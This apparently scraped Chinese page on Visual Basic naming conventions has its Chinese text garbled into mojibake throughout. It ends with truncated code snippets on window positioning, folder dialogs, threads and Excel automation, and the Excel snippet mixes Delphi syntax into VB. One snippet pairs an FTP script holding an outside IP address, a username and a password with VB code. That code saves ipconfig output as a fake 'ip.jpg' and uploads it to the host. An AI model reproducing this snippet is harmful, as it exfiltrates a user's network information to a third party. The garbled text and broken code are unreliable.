vb±ê×¼£¨Áù£©£ºÃüÃûÔ¼¶¨
·ÐÙÑÀÀû±ê¼Ç·¨
·Ê¹ÓÃ3×Ö·ûǰ׺À´±íʾÊý¾ÝÀàÐͺͿؼþÀàÐÍ
·3¸ö×Ö·û¿ÉÒÔʵÏÖ³ä·Ö¶à±äÐÔ£¬²¢Ê¹Ç°×ººÏºõÂß¼ºÍÖ±¹Û
·±íʾ±äÁ¿µÄ×÷ÓÃÓò
·¿ÉÒÔ²¢ÇÒÓ¦¸ÃʹÓÃǰ׺À´±íʾ±äÁ¿µÄ×÷ÓÃÓò
Ïà¹ØÎĵµ£º
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const a& = -1
Private Const b& = &H1
Private Const c& = &H2
Priva ......
Option Explicit
Private Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pDisplayName As String
lpTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Private Declare Function SHGetPathfromIDList Lib "shell32.dll" Alias _
"SHGetPa ......
Ò»¿ªÊ¼ ÒÔΪVBµÄÏß³Ì ²»ÊÇÏñÍøÉÏÈË˵µÄÄÇô´àÈõ¡£¡£¡£°¥ ÏÖÔÚÁìÂÔµ½ÁË¡£¡£¡£VPrivate Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Pri ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
È«Ãæ¿ØÖÆ Excel
Ê×ÏÈ´´½¨ Excel ¶ÔÏó£¬Ê¹ÓÃComObj:
Dim ExcelID as Excel.Application
Set ExcelID as new Excel.Application
1) ÏÔʾµ±Ç°´°¿Ú£º
ExcelID.Visible := True;
2) ¸ü¸Ä Excel ±êÌâÀ¸£º
ExcelID.Caption := 'Ó¦ÓóÌÐòµ÷Óà Microsoft Excel';
3) Ìí¼Óй¤×÷²¾£º
ExcelID.WorkBooks.Add;
4) ´ò¿ªÒÑ´æÔÚµ ......